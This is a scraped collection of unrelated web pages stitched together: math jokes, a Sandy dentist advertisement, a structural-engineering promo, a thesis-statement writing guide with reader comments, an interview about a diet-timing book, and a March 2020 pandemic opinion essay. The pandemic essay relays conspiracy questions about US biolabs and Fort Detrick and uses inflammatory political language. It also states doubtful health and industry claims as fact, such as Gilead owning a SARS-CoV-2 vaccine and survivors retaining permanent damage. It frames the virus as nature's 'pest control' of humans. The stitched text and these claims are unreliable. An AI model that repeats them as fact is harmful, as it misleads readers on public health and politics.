Being in a math class can be equated to watching a foreign film that has no subtitles. Although nothing makes sense; there are certain bits that you feel are familiar You often get a false hope that you can understand what is happening.
Arithmetics can be defined by numbers squeezed from your head, to your hand to your pencil, your papers until you get the answers. For some, the squeezing takes forever, and for some, the papers always end up blank.
When the chances of things going wrong are at 50-50, nine times out of 10 will. This phrase makes sense to everyone who cannot make sense of math.
Realising your answer is not among the multiple choices once you are done with a math problem is usually awkward. Most of us usually want it to be the solution but most of the time it is not. When it is in the option, you find it at D:none of the above.
The integration of mathematics in real life is something most of us are waiting for. Knowing its importance might have happened if we only understood math. For instance, how do we incorporate fractions at say the grocery store.
The ability of simple mathematics getting complicated is why the two topics are so similar The only difference is, saying it’s complicated is allowed in love and not math.
Maths is mostly made up of trying to prove the most obvious thing in the least obvious way. The simplest math problems make no sense. You can learn more about math jokes from this site and learn more about math .
Math was the ultimate bully in school, making us stay after class and keeping us from playing with other kids. With technology, all one needs to do is whip out a calculator and get out some math jokes whenever encountering a math problem. Getting math jokes and connecting with people who struggle with math can be found this page and it is a service you can enjoy. |
Time to Call a Sandy Dentist
We use our teeth and our mouth every day, all day long. It is no wonder that over time, things can go wrong. Especially if they are not taken care of properly. With proper oral hygiene, most dental and oral problems can be prevented. Seeing a Sandy dentist will minimize issues. Below is a list of common oral health issues that you may face in your lifetime:
Cavities are formed from decayed areas of the hard surface of your teeth. This permanent damage develops into tiny holes or openings. Also called tooth decay, it is caused by bacteria in your mouth, frequent snacking, and consumption of sugary food and drinks without the proper cleaning of your teeth. Overall, bad oral hygiene is the culprit for most cavities. They are also very common in children, teenagers, and the older population. If cavities aren’t treated by a Sandy dentist, they can get large and affect the deeper layers of teeth. They can cause severe pain, infections, loss of teeth, and a need for more extensive dental treatments.
Regular dental visits, checkups, and cleanings with your Sandy dentist as well as good brushing and flossing habits are your best bet to combat tooth decay and cavities.
Gingivitis, a common and mild form of Gum Disease, or inflammation of the gums. This is caused by poor brushing and flossing habits. It is usually the result of plaque buildup on teeth. Gingivitis causes irritation, redness and swelling to gums. It is common for gums to bleed during flossing and brushing. It is important to treat this immediately as it can lead to more serious gum disease called periodontitis as well as tooth loss.
Periodontitis (per-e-o-don-TIE-tis) is a more serious gum infection. It causes damage to the soft tissue and destroys the bone that supports the teeth. Although common, it is highly preventable. Generally, due to poor oral hygiene, it can cause teeth to loosen and lead to tooth loss. Brushing at least twice a day, and flossing daily is a good start to prevention. Getting regular dental checkups from your Sandy dentist will immensely improve your chances of successful treatment. It will also lower your chances of developing it.
Broken or Cracked Teeth
A crack or break in the tooth can occur from teeth grinding, chewing hard foods, or from an injury to the mouth. This can be very painful and can cause more severe problems if not taken care of. This is cause for an immediate visit to the dentist office.
Tooth Sensitivity
If you have pain or discomfort with hot or cold food or beverages you may have sensitive teeth.
Tooth Sensitivity can also be referred to as “dentin hypersensitivity”. This can sometimes occur after a cleaning, filling, or root canal. It can also be from receding gums, gum disease, a cracked tooth, or worn down fillings or crowns. Some people have thinner enamel so they naturally have sensitive teeth. If this is the case, you can try specific brands of toothpaste and mouthwash made specifically for sensitive teeth. You can also be careful with the temperature of your food and drinks.
Time to Call your Sandy Dentist
If you have any of the above issues, or it is time for a check-up, call on a top Sandy dentist to provide you with the care your teeth need. The dental office of Gregory D. Perkins DDS is conveniently located in the Fort Union area. Call (801) 255-4870 today for cleanings, check-ups, teeth whitening, fillings, crowns, implants, bridges, dentures or any other dental services.
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Civil Structural Engineering Services
Structural Engineering is the sub-discipline of civil engineering. It is basically done to decide the strength and dimensions of the concerned building. It is required to check that the construction can withstand the predicted load calculated without any problem.
The main aim of the structural engineer is to make sure the building is safe, functional, and smooth. They work in sync with various other engineers and architects to generate computerized designs of the building. Along with the building designing it can be various other things like bridges, tunnels, or even ships, etc.
The loads for which we are testing our designs are basically of two types
Internal loads –
Internal load is the load which the structure has to bear itself, whether moving or stable. As in the weight of the structure itself and all other moving or stable objects within it. Various combinations of such loads are considered and tested while designing depending on the chances of their occurrence.
External loads-
External loads mainly represent testing of safety from natural calamities such as earthquakes, cyclones, hurricanes or storms and even volcanic eruptions. When a new model is designed structural engineer also does these tests on the model of whether the model is able to withstand them or not.
When the engineers do all these testing, they come to know whether the model they are making will be able to bear these or not. Then as per their calculation they work on the model and improvise it as per the needs of the client and its sustainability.
Structural Engineer Specialist
Why professionals?
These days we require expert advice for everything we do especially because there is too much money and effort are involved. In this competitive world everyone wants their things to be best and unique. For that they need best people of their field to guide them properly and to cut out a perfect design which suits their demands.
Structural engineers not only design new models but they can also analyze and improve the existing models. If there is a slight crack or fall in the ceiling also in the building they will analyze everything and tell you whatever needs to be done to rectify that.
Professionals are needed for both: to minimize the future problems which may occur and to rectify the existing problems. But while hiring professionals check their range and reach and take a proper break down of the costs. So you would be knowing how much and what you are exactly paying for.
Hire a Professional Structural Engineer
Structural Engineers can also help you in taking certain permissions regarding the land or the building. Because any work do on any property which alters it look from outside requires permission from the local council. The engineers can help you with that because they have contacts with proper people and they know the exact source which can help the work done in less time and less money too.
Professionals are hired because they have experience which can help you to get the best. |
Thesis Statement Hacks: How to Write a Thesis for Academic Essays
A thesis statement is the single, specific claim that your essay supports. A strong thesis answers the question you want to raise; it does so by presenting a topic, the position you wish to defend, and a reasoning blueprint that sketches out your defense of your chosen position. A good thesis is not merely a factual statement, an observation, a personal opinion or preference, or the question you plan to answer. (See “Academic Argument: Evidence-based Defense of a Non-obvious Position.”
• Topic: The representation of Indian lifestyle in the book Black Elk Speaks
• Precise Opinion: the book challenges a stereotype
• Reasoning Blueprint: the three ways the book mounts this challenge are through attention to cultural detail, using Indian words, and using direct quotations from Black Elk.
• A strong blueprint would hint at why these three details add up to support the thesis statement.
• A less impressive blueprint might simply list the main points the essay will cover.
There is nothing magically “correct” about a thesis on challenging a cultural stereotype. Instead of claiming that a book “challenges a genre’s stereotypes,” you might instead argue that some text “provides a more expensive but more ethical solution than X” or “challenges Jim Smith’s observation that ‘[some quote from Smith here]’”. (Don’t automatically use “challenges a genre’s stereotype” in the hopes of coming up with the “correct” thesis.)
A more complicated thesis statement for a paper that asks you to demonstrate your ability engage with someone else’s ideas (rather than simply summarize or react to someone else’s ideas) might follow a formula like this:
Good ExampleAlthough Smith says “quote a passage that makes a specific claim you intend to disagree with” (123), in this paper I will use Brown’s concept of X to argue that [your original thesis goes here].”
• Your instructor might not want you to use “I” in your paper. You might instead say “This paper will use…” or “Applying Brown’s concept of X will show…”
• Rather than promising to “use Brown to argue” (which is too general), this model recommends that you “use Brown’s concept of X to argue” (or “Brown’s case study” or “Brown’s thorough analysis” or “Brown’s unsuccessful rebuttal” — the more specific you are about how, specifically you will use Brown, the better).
• It’s not enough to disagree with someone else; a strong paper will go beyond saying “Smith is wrong” and will instead say “Here’s a better solution that avoids problems P and Q that prevent Smith’s solution from working.”
For a short paper (1-2 pages), the thesis statement is often the first sentence. A complex thesis statement for a long paper may be part of a thesis paragraph. But it’s hard to go wrong if you put your thesis first.
Useful Formulae for Thesis Statements
If you’re not sure whether you have a good thesis statement, see whether you can fit your ideas into one of these basic patterns.
Good Example[Something] [does something] because [reason(s)].
Because [reason(s)], [something] [does something].
Good ExampleAlthough [opposing evidence], [reasons] show [something] [does something].
If you are just starting out, and you are still developing an original, evidence-based claim to defend, a simpler formula is probably best. Once you have done the research, and you understand the subject, then a formula like the following won’t look like random words; it will suggest a way to frame a nuanced, complex argument that goes beyond making non-controversial factual statements.
Good ExampleWhile [a specific, named person] says [a direct quote or paraphrase from the source], [a different, named person] says [something else]. While the two authors disagree over [a minor point], they both share a deep concern over [the topic of your paper]. [Person one’s] refusal to accept [a particular point made by person two]suggests that [person one] is [your thesis — stating the real reason why person one won’t agree with person two].
What really matters is not guessing the magically correct words to fit some secret formula that your mean instructor is refusing to tell you.
What matters is that you have researched your subject, that you have found and engaged meaningfully with peer-reviewed academic sources, and that you are developing an evidence-based claim, rather than summarizing or giving unsupported opinion.
• Unlike a personal essay, which can rely on personal experience and general observations, a research paper must draw on evidence — usually in the form of direct quotations or statistics from peer-reviewed academic journals.
• You have no reason to “defend” a position unless some expert has presented credible evidence that challenges a claim you want to make. (Finding, quoting, and engaging with that evidence is part of your task as an academic writer.)
• An academic argument is not a squabble, a difference of opinions, or an attorney’s courtroom statement. The author of an academic argument is more like the judge, who, after hearing out the best arguments in favor of various possible solutions, supports the best one. An academic argument is part of a discussion that respects multiple viewpoints (as long as those viewpoints are backed by credible evidence).
Parts of a Thesis Statement
1. Limited Subject
Make sure you’ve chosen a subject that meets your instructor’s requirements for the assignment. (It never hurts to ask.)
2. Precise Opinion
The precise opinion gives your answer to a question about the subject. A good precise opinion is vital to the reader’s comprehension of the goal of the essay.
3. Blueprint of Reasons
A blueprint is a plan. It lets the builder know that the foyer will be here, the living room will be to the east, the dining room to the west, and the family room will be north.The blueprint of an essay permits you to see the whole shape of your ideas before you start churning out whole paragraphs.While it’s okay for you to start writing down your ideas before you have a clear sense of your blueprint, your reader should never encounter a list of details without being told exactly what point these details are supposed to support. (For more details on the reasoning blueprint, see Blueprinting.)
In the blueprint, the author signals an intention to support the precise opinion. The author of the example above introduces three different kinds of evidence:
• cultural details
• Indian words
• quotes from Black Elk.
Informed by this blueprint, the reader expects to encounter one section (a paragraph or more) devoted to each subtopic.The blueprint determines the shape of your paper.
If your thesis statement introduces three reasons A, B and C, the reader will expect a section on reason A, a section on reason B, and a section on reason C.
For a single paragraph, you might only spend one sentence on each reason. For a 2-3 page paper, each reason might get its own paragraph. For a 10-page paper, each reason might contain its own local thesis statement, with its own list of reasons, so that each section involves several paragraphs.To emphasize the structure of your essay, repeat keywords or paraphrased ideas from the blueprint as you introduce the sections in which you expand on each point. Crafting good transitions is a skill that takes time and practice. (See Transitions and Reminders of Thesis).
Note: If you repeat your blueprint phrases and your thesis statement robotically (“The third point I want to talk about is how Black Elk Speaks accurately represents the Indian lifestyle through its direct quotes from Black Elk.”), your writing will be rather dry and lifeless. Dull writing is probably better than aimless rambling, although neither is terribly effective. |
Note: A thesis statement amounts to nothing if the paper is not completely focused on that main point. Blueprinting helps create the coherency of the thesis throughout the entire essay, which makes it a necessary part of the thesis statement.
Good ExampleBlack Elk Speaks accurately represents Indian lifestyle through its attention to cultural detail, its use of Indian words, and its direct quotes from Black Elk.
• Precise Opinion: the book is accurate
• Reasoning Blueprint: the book pays attention to cultural detail, it uses Indian words, and it uses direct quotations from Black Elk. (The rest of the paper will establish the truth of teach of these supporting points, and then explain why they add up to support the truth of the thesis statement.)
Bad ExampleIs Black Elk Speaks a tragedy?
This is a question, not a statement. It’s fine to sit down at the keyboard with the intention of writing a paper to answer this question, but before you start churning out the sentences, you should have a clear idea of what answer you’re trying to support.
Iffy ExampleThis paper will look at the book’s attention to cultural detail, its use of Indian words, and its direct quotations from Black Elk, in order to determine whether Black Elk Speaks accurately represents Indian lifestyle.
The above sample is slightly better because it offers more detail, but it still doesn’t say what position the author is taking on the topic of whether the book is accurate.
Good ExampleBecause the events in the story emphasize Black Elk’s role as a Sioux Warrior, and do not describe his eventual conversion to Catholicism and membership in the Society of St. Joseph, Black Elk Speaks presents a skewed and simplified view of the complex history of Native Americans.
Note that the above sample contains a topic (the accuracy of Black Elk Speaks), opinion (it is skewed and simplified), and reasoning (because the book only tells part of the story).
You don’t need to present those three parts in that exact order every time; furthermore, your instructor may have a good reason to ask you for a different organization. But most of the time, including these three parts will help your reader to follow your ideas much more closely.
Bad ExampleBiographies of all types can teach us many things about the past. What was the culture like? What was the language like? And what did the people say? One such book is Black Elk Speaks, which tells the story of a Sioux warrior in the late 1800s. How accurate is this book? This paper will investigate the cultural details, the language, and what Black Elk actually said, in order to determine the answer.
The above sample starts off with a wordy, general statement about biographies. But the main topic isn’t about biographies of all types, it’s specifically about one book, Black Elk Speaks.
Blueprinting: Planning Your Essay
17 Oct 2000 — originally posted by Nicci Jordan, UWEC Junior
08 Dec 2000 — first posted here. Maintained by Prof. Jerz.
13 Dec 2003 — links updated
22 Sep 2006 — moderate revisions by Jerz
29 Oct 2011 — updated by Jerz
14 June 2015 — minor adjustments
A blueprint is a rough but specific plan, or outline, which defines the structure of your whole essay. The blueprint, usually located within the thesis statement, is a brief list of the points you plan to make, compressed into just a few words each, in the same order in which they appear in the body of your paper.Hochstein, Jordan, and Jerz
Thesis Reminders
Timed Essays: Planning and Organizing in a Crunch
215 thoughts on “Thesis Statement Hacks: How to Write a Thesis for Academic Essays
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3. Hi. I began an essay on the topic ; reasons why pursuing college education is important. I had it started off this way… Aristotle said it best when he stated, “Education is the best provision for life’s journey.” Pursuing a college education provides individuals with career pportunities, higher income and experiences necessary in the journey of life. Please do you think I started off good or too weak? I need your help as this is a great assignment for me to make up for my mid semester examination which I was unable to attend!
• Your instructor is the one who will grade the assignment, so he or she is the best source of feedback. Without knowing what grade/level you are, or what kind of class you are taking, I can’t really advise you. However, unless you have read Aristotle’s works yourself and can place that quote in its context, I would not recommend pulling a random quote from a website and using it to start a paper. The complete quote is “Education is the best provision for the journey to old age,” but what does that mean?
The word “best” means there is at least a “good” and a “better,” and that by some measurement or judgement, a third thing is “best.” What are the two other sayings (at least) that you have compared to Aristotle, and what are the two other things (at least) that Aristotle thinks are not as good provision for life’s journey to old age? Why does your opinion (on at least three different sayings, of which the best is Aristotle’s), and at least three different provisions for old age (of which the best is education) help you to answer your instructor’s prompt about the reasons for pursing a college education?
What we think of as “college” is very different from the education that Aristotle would have received (or provided). I suggest you look into ways that a college education encourages critical thinking, which is a different way of thinking than “Did I get the right answer? Will my teacher approve? What’s the secret ‘correct’ answer in the back of my instructor’s book that I should memorize and spit back?” Maybe your instructor wants you to determine for yourself whether you feel gaining a college education is worth the intellectual effort.
4. This is great stuff. I wonder if you didn’t mean expansive rather than expensive in the following sentence. “Instead of claiming that a book “challenges a genre’s stereotypes,” you might instead argue that some text “provides a more expensive but more ethical solution than X” or “challenges Jim Smith’s observation that ‘[some quote from Smith here]’” instead.
• Thanks for your feedback. I’m glad you found the page useful. I really did mean “expensive” in that example, though I am simply suggesting that considering cost is worth exploring in an argument, depending on the kind of argument you are making.
5. Hi
i am doing the preparation of competitive exam , i have to write an Essay of 2500-2800 words, data should be critical and researched base,
for example there is Essay on Climate change , then please tell me how i develop a thesis statement, and how we write thesis statement, is it is written in the start of Essay or in the end of introduction, some people said that thesis satement should be written in start other say that this written in end of introductory paragraph. please help me with example thanks
• Rab, if you are looking for my advice on thesis statements, you have found the right page. If you have any specific questions or comments about the content of this page, I’d be happy to address them. I’ve already put lots of time into this page, and at the moment I can’t think of a way to present my advice any more clearly.
Although you did say “please,” even so, “tell me how I develop a thesis statement” is asking for quite a lot.
What is your college major or your area of professonal expertise? If I asked you to tell me, right here on my blog, what I need to know in order to succeed in a competitive exam in your field, what would you say?
If I went to a doctor and said “Tell me how to diagnose a patient,” or I went to a judge and said “Tell me how to interpret the law,” or I went to an artist and said “Tell me how to be creative,” do you think they would be able give me a few sentences that completely answer my question and prepare me for professional work as a doctor, judge, or artist? If they had spent years as students learning their subject matter, and additional years teaching or writing a textbook on their specialty, they might be very good in their professions but I’d bet they’d all find it tough to answer such a question in any meaningful way.
I won’t be evaluating your submission, so my opinion on debatable topics such as where the thesis should go won’t be of any specific use to you.
6. Vehicles has become a essential part of human being life. People used to bicycle but by the time mode of commute has been replaced by car .however, still in some cities people prefer to ride bicycle for travelling.
Plz tell me how can I impressive to my intro and how can I improve my writing skill
• Jonu, I’d say the most important helpful thing you can do is expose yourself to English as spoken by native English speakers, talking with people who know the language well enough that they can correct you immediately, in casual conversation, when you make one of the word-level errors that only an expert user of the language would spot. There is no shortcut — exposing yourself to a language is the only way to learn it.
7. I am doing preparation of ielts exam . but I faface difficulty in grammar and especially in thesis line which I confuse that what should i write in thesis line among all kinds of essay …plz tell me but should I do to improve it.
• I think you should read more and write more.After writing,you can ask someone that is good at English learning to help you know what your mistakes are.
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9. I am doing a project for my MST…but iam finding it difficult in putting up my paragraphs which needs to include my subject and limited subject…..pliz advice me on how to put up my paragraph
10. From this class，I kind of know what is thesis statement.It is a strong support of a whole passage，it can inform people of what the passage is telling，only by using a few words .It should have the keywords and a good organization to make itself brief but rich.After learning this class，I think I will be better at writing the thesis statement.Thanks
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What to Eat When: The Science Behind How You Eat
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What to Eat When: The Science Behind How You Eat
Your daily food choices—and when you eat—can affect your health, energy, waistline and more.
By Rebecca Heaton
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In each of their medical careers, Cleveland Clinic chief wellness officer and New York Times best-selling author Michael Roizen, M.D., and Johns Hopkins faculty member and medical director for The Dr. Oz Show Michael Crupain, M.D., have emphasized the medicinal power of food. In their new book What to Eat When (National Geographic, 2019), the doctors tap into the science of food and how the food choices you make each day—and when you make them—can affect your health, your energy, your sex life, your waistline, your attitude and the way you age.
What alerted you to the importance of adding time as a variable to healthy eating?
Crupain: The collective diet industry has spent a lot of time addressing the “what” part of eating: fruits versus fries, nuts versus chips, etc. But we’ve spent little time on the “when.” Mike and I are both on the board of HealthCorps [a health-education charity founded by Dr. Mehmet Oz], and a few years ago I told Mike I wanted to come to the Cleveland Clinic and work on a project with him. He said, “Let’s write a book together.”
Roizen: The data on the effects of when you eat started accumulating about 10 years ago in animals, three to four years ago in humans. As we took a closer look, we decided that we needed to write about it. There was enough data to make people understand that this really is very important to how long and how well you live.
Describe the “When Way” of eating.
Roizen: By eating in tune with your circadian rhythm [a natural process that regulates your sleep-wake cycle], you get an advantage to your energy level, your health level, your sleep and to maintaining a normal weight.
Crupain: We came up with four guidelines for the When Way: 1) Eat when the sun is out—sync with your circadian rhythm, because the whole point of circadian rhythm is to make us efficient, for our body to do the right thing at the right time; 2) Eat more food early, less later—aim to consume 75 percent of your daily calories before 2 p.m.; 3) Try to be consistent with your day-to-day eating; and 4) Don’t stereotype foods—who says you can’t have eggs or oatmeal for dinner or a black-bean burger or salad for breakfast?
You write that “our body’s internal environment is always changing—and how you feed it during those changes matters.” Is that why you came up with the “What’s the Situation” section for what to eat in different life scenarios, such as when you’re stressed and hangry, when you can’t sleep, when you have a job interview?
Crupain: Yes. Life isn’t the same every day, so you have to be ready to deal with those things. These scenarios came from all over: experiences in our lives, with other people, things we know are important. We wanted them to be a wide variety. Some are very serious; some are less serious; some are in the middle.
Roizen: These are things that patients have asked us about. I’m a science nerd, and there was also data that took us to this variety of situations.
You offer a 31-day plan. After one gets through that, what’s next?
Crupain: You just keep going. Our plan helps to gradually get people to a different way of eating, because biologically it’s better to make changes gradually. The first 15 days focus on adjusting the size and time of meals. The second half is focused on the what: Eat more plants and less sugar. By the end of 31 days, your body should be ready to keep doing this forever. But if it’s not, that’s OK too. You can go back and try again or take longer.
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Pandemic confusion
March 24, 2020
It is impossible to predict, how the coronavirus pandemic will end, but here is a first assessment including details which are omitted in mass media.
We know, that symptoms like dry cough and fever can appear anywhere between two and 14 days after infection and that there are individuals who carry the virus but show no symptoms. A German study suggests that people who test positive are most contagious before they’ve started exhibiting symptoms and during the first week that symptoms show up.
The epidemiological characteristics of the virus arise from high viral loads in the upper respiratory tract and the potential for persons infected with SARS-CoV-2 to shed and transmit the virus while asymptomatic. Test results indicate that aerosol and fomite transmission of SARS-CoV-2 is plausible, since the virus can remain viable and infectious in aerosols for hours and on surfaces up to days.
This means that the virus will spread quickly in malls, supermarkets, offices, and public transport, as the ubiquitous air-condition units and ventilators distribute germs efficiently.
Face masks (N95 respirator) can protect against infections, the best protection though is avoiding public places. Even online shopping bears risks, as infected persons who packed and delivered the goods left fomite on surfaces (plastic, metal). One best handles incoming parcels only with gloves and puts them aside for a few days to let possible germs die.
It is not clear yet how long a person who was infected and recovered is immune against the virus. There are a few reports that individuals who contracted the disease and recuperated have tested positive again.
Crucial answers about immunity to SARS-CoV-2 won’t come from the RNA-based diagnostic tests now conducted by the tens of thousands. These tests look for the presence of viral genes in a nose or throat swab, sign of an active infection. Yet, only a blood test for antibodies to the virus SARS-CoV-2 will tell whether a person has been infected in the past because the body retains antibodies against pathogens it has already overcome.
Blood tests could also help identify recovered patients who could then donate their SARS-CoV-2 antibody-rich serum to help treat critically ill patients. Another key application would be to identify people who have developed likely immunity to the virus. They might be able to treat patients safely or take on other front-line jobs during the pandemic. Test data could inform practical issues such as wether and how to reopen schools that have been closed. Relatively few cases have been diagnosed among children, but it isn’t clear whether that’s because they don’t get infected or because their infections are generally so mild that they go unnoticed. Testing children for SARS-CoV-2 antibodies should resolve that.
Most deaths are among people 65 and older, but younger persons also get seriously ill, though they are more likely to be saved with heavy-duty intervention. The survivors will probably retain permanent damage, like reduced lung function and a compromised immune system.
A new, not yet peer-reviewed study indicates greater transmission in cooler climates, and a hot summer could slow down the pandemic. In Australia though, hot weather didn’t help, as numbers rise like everywhere else, forcing the government to close pubs, clubs, gyms, cinemas, and places of worship to slow the spread of infections.
What’s going on?
Worldwide, nations try a combination of various antiviral treatments (remdesivir, lopinavir, ritonavir, descovy, chloroquine), blood plasma infusions from survivors, and vaccines, being fast-tracked to help treat cases. There is an increasing effort to slow the spread and “flatten the curve” by “social distancing,” quarantines, and shutting down transport and businesses.
Despite these efforts, the numbers of SARS-CoV-2 infections and of resulting deaths are increasing exponentially, reaching double, triple, and quadruple digits in just a few days. At the moment, we speak about thousands, but soon we may speak about millions. Only China and South Korea seem to have the situation under control.
In most countries there is a shortage of testing kits. There are also not enough ventilators and protecting masks (N95).
The numbers from Italy, Iran, China, and most other paces are surely an underestimation. There is a huge number of infected who are asymptomatic. The fast growing cases of infected doctors, medics, and nurses are especially alarming.
Efforts to contain the disease face limitations of national heath systems which, despite warnings by the international scientific community for 20 years, are so starved of funds that they cannot adequately deal with standard operations, let alone a historic health emergency.
After decades-long austerity policies have slashed health budgets and closed down smaller regional hospitals, many countries have to convert now hastily entire hospitals to infectious disease treatment units, which results in severe contamination of recently converted units, as these sections were not originally set up for infectious diseases.
As cases spike, health officials are conceding that the battle to contain the virus is lost, and are hunkering down for an onslaught, directing scarce resources where they are needed most to save lives. Doctors need to make harsh choices about whom to save (triage), meaning: the elderly are sacrificed.
Turkey’s public health system for example has been systematically gutted and privatized over the past two decades. While Turkey has 25,466 adult beds (almost half in private hospitals) in its intensive care units, it has just 187 doctors per 100,000 people. This figure is 399 in Italy, the worst-affected country in Europe, and 607 in Greece.
Nurses and doctors in Italy issue desperate pleas for more of the most basic medical equipment. The number of patients in critical condition far surpasses the available equipment. There are pictures of helpless patients suffering quietly and awaiting death. A shocked reporter wrote: “They are fighting a war here and they are losing. The sheer numbers of people succumbing to the coronavirus is overwhelming every hospital in northern Italy.” 23 Italian doctors have died since the pandemic began.
Patients with other life-threatening illnesses are worried that they will not be able to get needed treatment and surgeries as the hospitals are overwhelmed. The psychological impact is incalculable. After reporting another shocking jump in deaths, the Italian government has ordered a complete shutdown of industrial production for 15 days.
Due to the escalation of the crisis in Britain, in the space of a few days Boris Johnson’s Conservative government has gone from doing virtually nothing over the pandemic — as it advocated a policy of letting the entire population be infected and supposedly acquire “herd immunity” — to imposing firstly social distancing measures and then ordering closure of all cafes, bars, pubs, restaurants, nightclubs, theaters, gyms, cinemas, and leisure centers.
Even the USA, richest nation of the word, is in the midst of a full-blown public health crisis made worse by underfunding and privatization. An Imperial College London study predicts 2.2 million US deaths, assuming that no one dies from not getting treatment. Yet, as the USA doesn’t have an adequate healthcare system, there could be more than 10 million deaths.
Like most other nations the USA has implemented quarantine and social distancing, but some Republican politicians argue that the economic effects of social distancing have become too severe and that workers should go back to their jobs.
Many large metropolitan areas have missed the critical containment window, not implementing social distancing measures to suppress the epidemic curve, resulting in mass community spreading, and now an exponential increase in severe cases.
In the Middle East Kuwait imposed a curfew between 5pm and 4am and the UAE has closed beaches and parks for two weeks. Syria has its first SARS-CoV-2 case in the Al Muasat Hospital, Damascus, and the government has ordered the closure of schools, restaurants, gyms, and other gathering places. Busses and the Damascus airport are constantly disinfected.
Conspiracies abound
There is indeed a lot to question and consider, but in the end all speculations, worries, warnings, or predictions are meaningless, as the pandemic mercilessly moves forward. The reader may as well skip this section of the text.
Steven Soderbergh’s 2011 virus thriller “Contagion” has become one of the most rented titles on iTunes and the second most-watched movie in Warner Bros.’ catalogue. It is interpreted and explained in creative ways. The parallels to the current pandemic are astounding and prove, that this pandemic was not unimaginable, that intelligent and educated people could foresee it.
On October 18 last year, the Johns Hopkins Center for Health Security in partnership with the World Economic Forum and the Bill and Melinda Gates Foundation hosted Event 201, a high-level pandemic exercise, in New York. The simulation modeled a fictional coronavirus pandemic, but explicitly stated that it was not a prediction. This is more prove that influential people discussed the possibility of a pandemic and the question remains, why nobody called for adequate preparations.
The lone microbiology lab in China that handles viruses like the coronavirus is located in Wuhan, and one prominent rumor claims that SARS-CoV-2 escaped from this lab while biologists were studying bat coronaviruses.
The online conspiracy community asks:
Why needs the White House messaging control, with Vice President Mike Pence’s requesting control of all statements in regard to the coronavirus. Does the US administration need to hide something?
Why did the USA in 2001 withdraw from the 1972 BTWC (Biological and Toxin Weapons Convention)? Why did it try to prevent a monitoring mechanism for the execution of the convention?
Why are there new biological laboratories in Georgia, Ukraine, Moldova, Armenia, Azerbaijan, Uzbekistan and Kazakhstan? Are those labs for biochemical warfare?
Why was the US Army Medical Research Institute of Infectious Diseases, located in Fort Detrick, Maryland, shut down in July 2019. Was it because there was a virus leakage incident? Why did the US erase huge number of English news reports on the internet covering the shutdown in March 2020?
And worried commentators warn:
There is no doubt that the ruling elites in most countries will use the coronavirus crisis to push for expansive emergency powers.
The US Department of Justice has asked Congress for the ability to go directly to chief judges in order to detain people indefinitely without trial during emergencies. There are fears that President Donald Trump will use this moment of crisis to further restrict civil rights, and he has indeed cited the pandemic as a reason for heightening border restrictions and restricting asylum claims. US courts have already ground to a halt as jurors are not coming in and face-to-face depositions are not happening.
Some nations could also see a declaration of martial law, where constitutional freedoms and liberties are suspended, and civilians are no longer entitled to their civil rights. Martial law allows a government, or a tyrannical political elite, to ignore the constitution and impose its will through military force.
The various plans – codenamed Octagon, Freejack, and Zodiac – are the underground laws to ensure government continuity. Under these extraordinary plans, “devolution” could circumvent the normal Constitutional provisions for government succession, and military commanders could be placed in control around the USA.
Pest control
Some 10,000 years ago, wild animals were the overwhelming majority and humans made up only one percent of the animal population. In 2011, humans constituted 32 percent and wild animals one percent of living creatures. About 67 percent of non-wild animals were food for humans.
The missing wild animals, even the tiniest, were the species that kept the Earth beautiful, fruitful, habitable, and alive. The wild animals disappeared because humans hunted them, destroyed their habitat, and poisoned them.
Speciesism is the idea that being human is a good enough reason to claim greater moral rights than non-human animals. Australian philosopher Peter Singer defines it as “an attitude of bias against a being because of the species to which it belongs.”
Speciesism has a long tradition. The Bible, Genesis 1:28, states: “And God blessed them. And God said to them, Be fruitful and multiply and fill the earth and subdue it, and have dominion over the fish of the sea and over the birds of the heavens and over every living thing that moves on the earth.”
This attitude of human superiority and unbridled domination is a leading cause of our current ecological crisis. UN climate experts say humanity has about a decade to prevent “irreversible damage” to the world from the monster of anthropogenic climate change.
It will get worse, as climate change, drought, floods, deadly storms, and earthquakes will destroy the livelihood of millions. 145 million Africans are on the brink of famine, the UN says. The deserts of Syria, Iraq, and Iran are constantly expanding. The Gaza strip, Israels main concentration camp for the Palestinians, has become “unlivable,” Yemen is running out of water, and the whole Arab Peninsular will become unlivable too because of unbearable heat.
Habitat destruction, mass extinction (loss of biodiversity), poisoning of the biosphere, collapse of ecosystems (oceans, rainforests, wetlands), and climate change are threatening life on this planet, but Mother Nature (Gaia) is fighting back and uses two strategies which have always worked to eliminate pests.
One method uses a contagious disease to wipe out large numbers of a pest, the other method let the pest destroy its own food base.
No mercy
People in displaced persons camps in northern Syria or in the refugee camps on the Greek islands Lesbos, Chios, Samos, and Kos are left to fend for themselves. The overcrowded camps will quickly be transformed into death camps, if the coronavirus gets a hold there.
Intolerable hygienic conditions in the camps prevent even the most basic protective measures from being adopted. In some camps there is just one water tap for thousand people, and no soap is available. Five- and six-person families barely have three square meters of space. There are no permanent structures for accommodation, and many displaced persons or refugees spend the night under plastic sheeting.
Conditions resembling a war zone predominate on the Kastanies and Pazarkule crossings at the Turkish-Greek border. Greek security forces target refugees with tear gas, flash grenades, rubber bullets, and sometimes even live ammunition. Around 10,000 people continue to huddle in makeshift tents in no-man’s-land without any provisions. Since the Turkish police refuses to let them back into Turkey, they are left totally exposed to violence.
SARS-CoV-2 is a special threat also to millions of incarcerated people. Iran released 85,000 prisoners with 10,000 more slated to receive pardons, as fears mounted, that the new coronavirus could sweep through the country’s overcrowded prisons.
The coronavirus is also invading US jails and prisons, prompting inmate releases, reduced bail requirements, and other extraordinary measures as officials rush to avert a potentially disastrous spread of the virus among crowded inmate populations. The USA has the words largest prison population with 2.3 million incarcerated.
On Riker’s Island, the US’s second-largest prison, 21 inmates, 12 jail employees, and five correctional health workers have tested positive. One worker at the complex has died.
As competition trumps cooperation anytime, the Trump administration quietly offered a huge sum of cash to a German pharmaceutical firm in order to secure exclusive control, access and supply of any coronavirus vaccine it created, making sure it was available only on a for-profit basis. This enraged the German government; “Germany is not for sale,” declared economy minister Peter Altmaier.
US pharmaceutical company Gilead, which owns a promising SARS-CoV-2 vaccine, is involved in a legal battle with the Chinese government to deny them the right to any potential vaccine, arguing that the Chinese would likely give it away free to the world, thus destroying Gilead’s profits.
International solidarity is rare, and Italy’s appeal for help to the European Union found deaf ears. Not a single EU member state sent Italy the desperately needed supplies. Not only that, a shipment of 680,000 Chinese face masks to Italy was stolen in the Czech Republic, whose government initially denied that anything had got lost.
China, Cuba, and Russia had to fill the void. A Chinese plane with nine medical experts and 31 tons of medical supplies including intensive care unit equipment, medical protective equipment, and antiviral drugs arrived in Rome, a Chinese truck only a few days later brought more than 230 boxes of medical equipment.
